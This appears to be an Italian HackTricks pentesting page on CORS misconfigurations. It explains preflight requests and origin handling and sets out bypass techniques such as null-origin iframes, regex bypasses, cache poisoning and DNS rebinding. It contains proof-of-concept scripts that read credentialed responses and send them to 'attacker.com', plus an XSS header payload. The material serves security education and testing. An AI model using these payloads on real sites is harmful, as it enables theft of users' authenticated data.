Italian - Ht
HackTricks Training Twitter Linkedin Sponsor

CORS - Misconfigurations & Bypass

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

LogoWebsec | Uw Cybersecurity Specialist

Cos'è CORS?

Il CORS (Cross-Origin Resource Sharing) standard consente ai server di definire chi può accedere alle loro risorse e quali metodi di richiesta HTTP sono consentiti da fonti esterne.

Una politica stesso-origine impone che un server che richiede una risorsa e il server che ospita la risorsa condividano lo stesso protocollo (ad esempio, http://), nome di dominio (ad esempio, internal-web.com), e porta (ad esempio, 80). In base a questa politica, solo le pagine web dello stesso dominio e porta sono autorizzate ad accedere alle risorse.

L'applicazione della politica stesso-origine nel contesto di http://normal-website.com/example/example.html è illustrata come segue:

URL accessatoAccesso consentito?

http://normal-website.com/example/

Sì: Schema, dominio e porta identici

http://normal-website.com/example2/

Sì: Schema, dominio e porta identici

https://normal-website.com/example/

No: Schema e porta diversi

http://en.normal-website.com/example/

No: Dominio diverso

http://www.normal-website.com/example/

No: Dominio diverso

http://normal-website.com:8080/example/

No: Porta diversa*

*Internet Explorer non considera il numero di porta nell'applicare la politica stesso-origine, consentendo quindi questo accesso.

Intestazione Access-Control-Allow-Origin

Questa intestazione può consentire origini multiple, un valore null, o un wildcard *. Tuttavia, nessun browser supporta origini multiple, e l'uso del wildcard * è soggetto a limitazioni. (Il wildcard deve essere usato da solo, e non è consentito il suo utilizzo insieme a Access-Control-Allow-Credentials: true.)

Questa intestazione è emessa da un server in risposta a una richiesta di risorsa cross-domain avviata da un sito web, con il browser che aggiunge automaticamente un'intestazione Origin.

Intestazione Access-Control-Allow-Credentials

Per default, le richieste cross-origin vengono effettuate senza credenziali come cookie o l'intestazione di autorizzazione. Tuttavia, un server cross-domain può consentire la lettura della risposta quando vengono inviate credenziali impostando l'intestazione Access-Control-Allow-Credentials su true.

Se impostato su true, il browser trasmetterà le credenziali (cookie, intestazioni di autorizzazione o certificati client TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Richiesta di pre-volo CSRF

Comprensione delle Richieste di Pre-volo nella Comunicazione tra Domini

Quando si inizia una richiesta tra domini in condizioni specifiche, come l'utilizzo di un metodo HTTP non standard (qualsiasi cosa diversa da HEAD, GET, POST), l'introduzione di nuovi intestazioni, o l'impiego di un valore speciale dell'intestazione Content-Type, potrebbe essere necessaria una richiesta di pre-volo. Questa richiesta preliminare, sfruttando il metodo OPTIONS, serve per informare il server sulle intenzioni della prossima richiesta tra origini diverse, inclusi i metodi HTTP e le intestazioni che intende utilizzare.

Il protocollo Cross-Origin Resource Sharing (CORS) impone questo controllo di pre-volo per determinare la fattibilità dell'operazione tra origini diverse richiesta verificando i metodi consentiti, le intestazioni e l'affidabilità dell'origine. Per una comprensione dettagliata delle condizioni che evitano la necessità di una richiesta di pre-volo, fare riferimento alla guida esaustiva fornita da Mozilla Developer Network (MDN).

È fondamentale notare che l'assenza di una richiesta di pre-volo non annulla il requisito che la risposta contenga intestazioni di autorizzazione. Senza queste intestazioni, il browser è incapace di elaborare la risposta dalla richiesta tra origini diverse.

Considera la seguente illustrazione di una richiesta di pre-volo mirata all'utilizzo del metodo PUT insieme a un'intestazione personalizzata chiamata Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In risposta, il server potrebbe restituire intestazioni che indicano i metodi accettati, l'origine consentita e altri dettagli sulla politica CORS, come mostrato di seguito:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

  • Access-Control-Allow-Headers: Questo header specifica quali intestazioni possono essere utilizzate durante la richiesta effettiva. Viene impostato dal server per indicare le intestazioni consentite nelle richieste dal client.

  • Access-Control-Expose-Headers: Attraverso questo header, il server informa il client su quali intestazioni possono essere esposte come parte della risposta oltre alle semplici intestazioni di risposta.

  • Access-Control-Max-Age: Questo header indica per quanto tempo i risultati di una richiesta di pre-volo possono essere memorizzati nella cache. Il server imposta il tempo massimo, in secondi, che le informazioni restituite da una richiesta di pre-volo possono essere riutilizzate.

  • Access-Control-Request-Headers: Utilizzato nelle richieste di pre-volo, questo header è impostato dal client per informare il server su quali intestazioni HTTP il client desidera utilizzare nella richiesta effettiva.

  • Access-Control-Request-Method: Questo header, anch'esso utilizzato nelle richieste di pre-volo, è impostato dal client per indicare quale metodo HTTP verrà utilizzato nella richiesta effettiva.

  • Origin: Questo header è impostato automaticamente dal browser e indica l'origine della richiesta tra origini diverse. Viene utilizzato dal server per valutare se la richiesta in arrivo dovrebbe essere consentita o negata in base alla politica CORS.

Nota che di solito (a seconda del tipo di contenuto e delle intestazioni impostate) in una richiesta GET/POST non viene inviata alcuna richiesta di pre-volo (la richiesta viene inviata direttamente), ma se si desidera accedere alle intestazioni/corpo della risposta, deve contenere un'intestazione Access-Control-Allow-Origin che lo consenta. Pertanto, CORS non protegge contro CSRF (ma può essere utile).

Richiesta di pre-volo delle richieste di rete locale

  1. Access-Control-Request-Local-Network: Questo header è incluso nella richiesta del client per indicare che l'indagine è rivolta a una risorsa di rete locale. Serve come marcatore per informare il server che la richiesta proviene da all'interno della rete locale.

  2. Access-Control-Allow-Local-Network: In risposta, i server utilizzano questo header per comunicare che la risorsa richiesta è autorizzata a essere condivisa con entità al di fuori della rete locale. Agisce come un segnale verde per la condivisione di risorse attraverso diverse frontiere di rete, garantendo un accesso controllato mantenendo i protocolli di sicurezza.

Una risposta valida che consente la richiesta di rete locale deve avere anche nella risposta l'intestazione Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Si noti che l'IP linux 0.0.0.0 funziona per bypassare questi requisiti per accedere a localhost poiché quell'indirizzo IP non è considerato "locale".

È anche possibile bypassare i requisiti della Rete Locale se si utilizza l'indirizzo IP pubblico di un endpoint locale (come l'IP pubblico del router). Poiché in diverse occasioni, anche se si accede all'IP pubblico, se è dalla rete locale, l'accesso sarà concesso.

Configurazioni errate sfruttabili

È stato osservato che l'impostazione di Access-Control-Allow-Credentials su true è un prerequisito per la maggior parte degli attacchi reali. Questa impostazione consente al browser di inviare credenziali e leggere la risposta, migliorando l'efficacia dell'attacco. Senza di essa, il vantaggio di far emettere una richiesta al browser anziché farlo da sé diminuisce, poiché diventa impraticabile sfruttare i cookie di un utente.

Eccezione: Sfruttare la Posizione di Rete come Autenticazione

Esiste un'eccezione in cui la posizione di rete della vittima agisce come una forma di autenticazione. Ciò consente al browser della vittima di essere utilizzato come proxy, aggirando l'autenticazione basata sull'IP per accedere alle applicazioni di intranet. Questo metodo presenta somiglianze nell'impatto con il reindirizzamento DNS ma è più semplice da sfruttare.

Riflessione di Origin in Access-Control-Allow-Origin

Lo scenario del mondo reale in cui il valore dell'intestazione Origin è riflesso in Access-Control-Allow-Origin è teoricamente improbabile a causa delle restrizioni sulla combinazione di queste intestazioni. Tuttavia, gli sviluppatori che cercano di abilitare CORS per più URL possono generare dinamicamente l'intestazione Access-Control-Allow-Origin copiando il valore dell'intestazione Origin. Questo approccio può introdurre vulnerabilità, in particolare quando un attaccante utilizza un dominio con un nome progettato per apparire legittimo, ingannando così la logica di convalida.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Sfruttare l'Origine null

L'origine null, specificata per situazioni come reindirizzamenti o file HTML locali, occupa una posizione unica. Alcune applicazioni inseriscono questa origine nella whitelist per facilitare lo sviluppo locale, permettendo involontariamente a qualsiasi sito web di imitare un'origine null tramite un iframe sandboxed, eludendo così le restrizioni CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Tecniche di Bypass delle Espressioni Regolari

Quando ci si imbatte in una whitelist di dominio, è cruciale testare le opportunità di bypass, come ad esempio aggiungere il dominio dell'attaccante a un dominio in whitelist o sfruttare le vulnerabilità di subdomain takeover. Inoltre, le espressioni regolari utilizzate per la convalida del dominio potrebbero trascurare le sfumature nelle convenzioni di denominazione dei domini, presentando ulteriori opportunità di bypass.

Bypass delle Espressioni Regolari Avanzate

I pattern Regex di solito si concentrano su caratteri alfanumerici, punto (.), e trattino (-), trascurando altre possibilità. Ad esempio, un nome di dominio creato per includere caratteri interpretati in modo diverso dai browser e dai pattern Regex può eludere i controlli di sicurezza. Il modo in cui Safari, Chrome e Firefox gestiscono i caratteri di sottodomini di sottolineatura illustra come tali discrepanze possano essere sfruttate per aggirare la logica di convalida del dominio.

Per ulteriori informazioni e impostazioni di questo controllo di bypass: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Da XSS all'interno di un sottodominio

Spesso gli sviluppatori implementano meccanismi difensivi per proteggersi dall'exploit di CORS attraverso la whitelisting dei domini autorizzati a richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza anche di un singolo sottodominio vulnerabile all'interno dei domini in whitelist può aprire la porta all'exploit di CORS attraverso altre vulnerabilità, come XSS (Cross-Site Scripting).

Per illustrare, consideriamo lo scenario in cui un dominio, requester.com, è in whitelist per accedere alle risorse da un altro dominio, provider.com. La configurazione lato server potrebbe apparire qualcosa del genere:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

In questa configurazione, tutti i sottodomini di requester.com sono autorizzati ad accedere. Tuttavia, se un sottodominio, ad esempio sub.requester.com, viene compromesso con una vulnerabilità XSS, un attaccante può sfruttare questa debolezza. Ad esempio, un attaccante con accesso a sub.requester.com potrebbe sfruttare la vulnerabilità XSS per aggirare le politiche CORS e accedere in modo dannoso alle risorse su provider.com.

Avvelenamento della cache lato server

Da questa ricerca

È possibile che sfruttando l'avvelenamento della cache lato server tramite l'iniezione di intestazioni HTTP, si possa indurre una vulnerabilità XSS memorizzata. Questo scenario si verifica quando un'applicazione non sanifica l'intestazione Origin per i caratteri illegali, creando una vulnerabilità particolarmente per gli utenti di Internet Explorer e Edge. Questi browser trattano (0x0d) come un terminatore di intestazione HTTP legittimo, portando a vulnerabilità di iniezione di intestazioni HTTP.

Considera la seguente richiesta in cui l'intestazione Origin è manipolata:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer e Edge interpretano la risposta come:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Mentre sfruttare direttamente questa vulnerabilità facendo inviare al browser web un'intestazione malformata non è fattibile, una richiesta articolata può essere generata manualmente utilizzando strumenti come Burp Suite. Questo metodo potrebbe portare una cache lato server a salvare la risposta e a servirla involontariamente ad altri. Il payload articolato mira a modificare il set di caratteri della pagina in UTF-7, una codifica dei caratteri spesso associata a vulnerabilità XSS a causa della sua capacità di codificare i caratteri in modo che possano essere eseguiti come script in determinati contesti.

Per ulteriori letture sulle vulnerabilità XSS memorizzate, consulta PortSwigger.

Nota: Lo sfruttamento delle vulnerabilità di iniezione di intestazioni HTTP, in particolare attraverso l'avvelenamento della cache lato server, sottolinea l'importanza critica della convalida e della sanificazione di tutti gli input forniti dall'utente, inclusi gli header HTTP. Utilizza sempre un modello di sicurezza robusto che includa la convalida degli input per prevenire tali vulnerabilità.

Avvelenamento della cache lato client

Da questa ricerca

In questo scenario, viene osservata un'istanza di una pagina web che riflette i contenuti di un'intestazione HTTP personalizzata senza una codifica adeguata. In particolare, la pagina web riflette i contenuti inclusi in un'intestazione X-User-id, che potrebbe includere JavaScript dannoso, come dimostrato dall'esempio in cui l'intestazione contiene un tag di immagine SVG progettato per eseguire codice JavaScript al caricamento.

Le politiche di Condivisione delle risorse di origine incrociata (CORS) consentono l'invio di intestazioni personalizzate. Tuttavia, senza che la risposta venga renderizzata direttamente dal browser a causa delle restrizioni CORS, l'utilità di tale iniezione potrebbe sembrare limitata. Il punto critico sorge quando si considera il comportamento della cache del browser. Se l'intestazione Vary: Origin non è specificata, diventa possibile che la risposta dannosa venga memorizzata nella cache del browser. Successivamente, questa risposta memorizzata potrebbe essere renderizzata direttamente durante la navigazione all'URL, eludendo la necessità di un rendering diretto alla richiesta iniziale. Questo meccanismo potenzia l'affidabilità dell'attacco sfruttando la cache lato client.

Per illustrare questo attacco, viene fornito un esempio di JavaScript, progettato per essere eseguito nell'ambiente di una pagina web, ad esempio tramite un JSFiddle. Questo script esegue un'azione semplice: invia una richiesta a un URL specificato con un'intestazione personalizzata contenente il JavaScript dannoso. Al termine con successo della richiesta, tenta di navigare all'URL di destinazione, potenzialmente attivando l'esecuzione dello script iniettato se la risposta è stata memorizzata senza una gestione adeguata dell'intestazione Vary: Origin.

Ecco una sintesi del JavaScript utilizzato per eseguire questo attacco:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, noto anche come Inclusione di Script tra Siti, è un tipo di vulnerabilità che sfrutta il fatto che la Politica della Stessa Origine (SOP) non si applica quando si includono risorse utilizzando il tag script. Questo perché gli script devono poter essere inclusi da domini diversi. Questa vulnerabilità consente a un attaccante di accedere e leggere qualsiasi contenuto incluso utilizzando il tag script.

Questa vulnerabilità diventa particolarmente significativa quando si tratta di JavaScript dinamico o JSONP (JSON con Padding), specialmente quando vengono utilizzate informazioni di autorità ambientale come i cookie per l'autenticazione. Quando si richiede una risorsa da un host diverso, i cookie sono inclusi, rendendoli accessibili all'attaccante.

Per comprendere meglio e mitigare questa vulnerabilità, è possibile utilizzare il plugin BurpSuite disponibile su https://github.com/kapytein/jsonp. Questo plugin può aiutare a identificare e risolvere potenziali vulnerabilità XSSI nelle vostre applicazioni web.

Per saperne di più sui diversi tipi di XSSI e su come sfruttarli, clicca qui.

Prova ad aggiungere un parametro callback nella richiesta. Forse la pagina è stata preparata per inviare i dati come JSONP. In tal caso, la pagina invierà i dati con Content-Type: application/javascript, il che bypasserà la politica CORS.

Bypass Facile (inutile?)

Un modo per aggirare la restrizione di Access-Control-Allow-Origin è richiedere a un'applicazione web di effettuare una richiesta per conto tuo e inviare la risposta. Tuttavia, in questo scenario, le credenziali della vittima finale non verranno inviate poiché la richiesta viene fatta a un dominio diverso.

  1. CORS-escape: Questo strumento fornisce un proxy che inoltra la tua richiesta insieme ai suoi header, falsificando anche l'header Origin per corrispondere al dominio richiesto. Questo bypassa efficacemente la politica CORS. Ecco un esempio di utilizzo con XMLHttpRequest:

  2. simple-cors-escape: Questo strumento offre un approccio alternativo al proxy delle richieste. Invece di passare la tua richiesta così com'è, il server effettua la propria richiesta con i parametri specificati.

Bypass Iframe + Popup

È possibile aggirare i controlli CORS come e.origin === window.origin creando un iframe e aprendo da esso una nuova finestra. Maggiori informazioni nella seguente pagina:

pageIframes in XSS, CSP and SOP

DNS Rebinding tramite TTL

Il DNS rebinding tramite TTL è una tecnica utilizzata per aggirare determinate misure di sicurezza manipolando i record DNS. Ecco come funziona:

  1. L'attaccante crea una pagina web e fa accedere la vittima.

  2. L'attaccante cambia quindi il DNS (IP) del proprio dominio per puntare alla pagina web della vittima.

  3. Il browser della vittima memorizza nella cache la risposta DNS, che potrebbe avere un valore TTL (Time to Live) che indica per quanto tempo il record DNS deve essere considerato valido.

  4. Quando scade il TTL, il browser della vittima effettua una nuova richiesta DNS, consentendo all'attaccante di eseguire codice JavaScript sulla pagina della vittima.

  5. Mantenendo il controllo sull'IP della vittima, l'attaccante può raccogliere informazioni dalla vittima senza inviare alcun cookie al server della vittima.

È importante notare che i browser hanno meccanismi di caching che possono impedire un abuso immediato di questa tecnica, anche con valori TTL bassi.

Il DNS rebinding può essere utile per aggirare controlli IP espliciti eseguiti dalla vittima o per scenari in cui un utente o un bot rimane sulla stessa pagina per un periodo prolungato, consentendo alla cache di scadere.

Se hai bisogno di un modo rapido per abusare del DNS rebinding, puoi utilizzare servizi come https://lock.cmpxchg8b.com/rebinder.html.

Per eseguire il proprio server DNS rebinding, puoi utilizzare strumenti come DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Questo comporta l'esposizione della tua porta locale 53/udp, la creazione di un record A che vi punta (ad esempio, ns.example.com) e la creazione di un record NS che punta al sottodominio A creato in precedenza (ad esempio, ns.example.com). Qualsiasi sottodominio del sottodominio ns.example.com verrà quindi risolto dal tuo host.

Puoi esplorare anche un server in esecuzione pubblicamente su http://rebind.it/singularity.html per una maggiore comprensione e sperimentazione.

DNS Rebinding tramite Cache

Un altro modo per aggirare la difesa della cache è utilizzare più indirizzi IP per lo stesso sottodominio nel provider DNS. Ecco come funziona:

  1. L'attaccante imposta due record A (o un singolo record A con due IP) per lo stesso sottodominio nel provider DNS.

  2. Quando un browser controlla questi record, riceve entrambi gli indirizzi IP.

  3. Se il browser decide di utilizzare prima l'indirizzo IP dell'attaccante, l'attaccante può servire un payload che effettua richieste HTTP allo stesso dominio.

  4. Tuttavia, una volta che l'attaccante ottiene l'indirizzo IP della vittima, smette di rispondere al browser della vittima.

  5. Il browser della vittima, rendendosi conto che il dominio non risponde, passa a utilizzare il secondo indirizzo IP fornito.

  6. Accedendo al secondo indirizzo IP, il browser aggira la Politica della Stessa Origine (SOP), consentendo all'attaccante di sfruttare ciò e raccogliere ed esfiltrare informazioni.

Questa tecnica sfrutta il comportamento dei browser quando vengono forniti più indirizzi IP per un dominio. Controllando strategicamente le risposte e manipolando la scelta dell'indirizzo IP del browser, un attaccante può sfruttare la SOP e accedere alle informazioni della vittima.

Nota che per accedere a localhost dovresti provare a reindirizzare 127.0.0.1 in Windows e 0.0.0.0 in Linux. Provider come godaddy o cloudflare non mi hanno permesso di utilizzare l'IP 0.0.0.0, ma AWS route53 mi ha permesso di creare un record A con 2 IP, uno dei quali "0.0.0.0"

Per ulteriori informazioni puoi consultare https://unit42.paloaltonetworks.com/dns-rebinding/

Altri Bypass Comuni

  • Se gli IP interni non sono consentiti, potrebbero aver dimenticato di vietare 0.0.0.0 (funziona su Linux e Mac)

  • Se gli IP interni non sono consentiti, rispondi con un CNAME a localhost (funziona su Linux e Mac)

  • Se gli IP interni non sono consentiti come risposte DNS, puoi rispondere con CNAME a servizi interni come www.corporate.internal.

Armaizzati il DNS Rebidding

Puoi trovare ulteriori informazioni sulle tecniche di bypass precedenti e su come utilizzare lo strumento seguente nella presentazione Gerald Doussot - Stato degli attacchi di DNS Rebinding & Singolarità dell'Origine - Conferenza DEF CON 27.

Singularity of Origin è uno strumento per eseguire attacchi di DNS rebinding. Include i componenti necessari per rilegare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina di destinazione e per servire payload di attacco per sfruttare software vulnerabili sulla macchina di destinazione.

Protezione Reale contro il DNS Rebinding

  • Utilizzare TLS nei servizi interni

  • Richiedere autenticazione per accedere ai dati

  • Convalidare l'intestazione Host

  • https://wicg.github.io/private-network-access/: Proposta per inviare sempre una richiesta di pre-volo quando i server pubblici vogliono accedere ai server interni

Strumenti

Fuzz possibili misconfigurazioni nelle politiche CORS

Riferimenti

LogoWebsec | Uw Cybersecurity Specialist
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

PreviousCookie BombNextCRLF (%0D%0A) Injection

Last updated